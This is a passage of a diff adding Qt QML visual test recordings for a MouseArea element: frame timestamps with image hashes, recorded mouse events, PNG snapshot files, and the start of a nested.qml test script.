+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14000
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14016
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14032
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14048
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14064
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14080
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14096
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14112
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14128
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14144
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14160
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14176
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 141; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 148; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14192
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 152; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 158; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14208
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 164; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14224
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 171; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 187; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 205; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14240
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 223; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14256
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 239; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 255; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14272
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 269; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 285; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14288
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 299; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 313; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14304
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 320; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 326; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14320
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 340; y: 7
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 14336
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14352
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14368
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14384
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14400
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14416
+ image: "mousearea-visual.15.png"
+ }
+ Frame {
+ msec: 14432
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14448
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14464
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14480
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14496
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14512
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14528
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14544
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14560
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14576
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14592
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14608
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14624
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14640
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14656
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14672
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14688
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14704
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14720
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14736
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14752
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14768
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14784
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14800
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14816
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14832
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14848
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14864
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14880
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14896
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14912
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 14928
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.0.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.0.png
new file mode 100644
index 00000000..c249c211
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.1.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.1.png
new file mode 100644
index 00000000..a96bf1ba
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.10.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.10.png
new file mode 100644
index 00000000..7420ca7f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.11.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.11.png
new file mode 100644
index 00000000..7420ca7f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.12.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.12.png
new file mode 100644
index 00000000..7420ca7f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.12.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.13.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.13.png
new file mode 100644
index 00000000..7420ca7f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.13.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.14.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.14.png
new file mode 100644
index 00000000..7420ca7f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.14.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.15.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.15.png
new file mode 100644
index 00000000..e797cc93
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.15.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.16.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.16.png
new file mode 100644
index 00000000..7951309c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.16.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.17.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.17.png
new file mode 100644
index 00000000..7951309c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.17.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.18.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.18.png
new file mode 100644
index 00000000..7951309c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.18.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.19.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.19.png
new file mode 100644
index 00000000..7951309c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.19.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.2.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.2.png
new file mode 100644
index 00000000..a96bf1ba
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.20.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.20.png
new file mode 100644
index 00000000..7951309c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.20.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.21.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.21.png
new file mode 100644
index 00000000..7951309c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.21.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.22.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.22.png
new file mode 100644
index 00000000..7951309c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.22.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.3.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.3.png
new file mode 100644
index 00000000..a96bf1ba
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.4.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.4.png
new file mode 100644
index 00000000..1fe365a4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.5.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.5.png
new file mode 100644
index 00000000..1fe365a4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.6.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.6.png
new file mode 100644
index 00000000..1fe365a4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.7.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.7.png
new file mode 100644
index 00000000..1fe365a4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.8.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.8.png
new file mode 100644
index 00000000..7420ca7f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.9.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.9.png
new file mode 100644
index 00000000..7420ca7f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mouseregion.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.0.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.0.png
new file mode 100644
index 00000000..793fb0f9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.1.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.1.png
new file mode 100644
index 00000000..5935b453
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.2.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.2.png
new file mode 100644
index 00000000..a2052664
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.3.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.3.png
new file mode 100644
index 00000000..3d81ff25
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.4.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.4.png
new file mode 100644
index 00000000..ee2076e1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.5.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.5.png
new file mode 100644
index 00000000..9017124d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.6.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.6.png
new file mode 100644
index 00000000..216dd7e9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.7.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.7.png
new file mode 100644
index 00000000..27e8480b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.8.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.8.png
new file mode 100644
index 00000000..6b911c59
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.9.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.9.png
new file mode 100644
index 00000000..01858a55
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.qml b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.qml
new file mode 100644
index 00000000..cec1558a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/nested.qml
@@ -0,0 +1,5039 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "nested.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 48
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 64
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 80
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 96
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 112
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 128
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 144
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 160
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 176
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 192
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 208
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 224
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 240
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 256
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 272
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 288
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 304
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 320
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 336
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 352
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 368
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 384
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 400
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 416
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 432
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 448
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 464
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 480
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 496
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 512
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 528
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 544
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 560
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 576
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 592
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 608
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 624
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 640
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 656
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 672
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 688
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 704
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 720
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 736
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 752
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 768
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 784
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 800
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 816
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 832
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 848
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Frame {
+ msec: 864
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 25; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 880
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 26; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 896
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 912
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 28; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 928
+ hash: "2400cadaaa467cbfb0c7d2ace8137179"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "f5aa6257fd80c1e383bc2db84e41c354"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 35; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 960
+ hash: "e96076794d3efc62a8fe2d2e543e97c7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 42; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 976
+ image: "nested.1.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 63
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 992
+ hash: "ab955f6c6b210b66b27e244dc2150860"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "b655247e73b0b8357dc9d355ba6f49a0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 83; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1024
+ hash: "08b67b7e28990cac8c9bd354b7d87698"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1040
+ hash: "69cecfb41899e13c0bc5acb6f9bc666d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 104; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 107; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "8d1f0cd85fd3f2654f7c30a6d9ec2b99"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "f8ddda87cfcf5dc9d8c6e940fbd295f3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 133; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1088
+ hash: "ab9d942c47a2cca5531f7b67df034161"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1104
+ hash: "7ca5a03fdfac44c389315c3928631a2a"
+ }
+ Mouse {
+ type: 5
+ button: 0
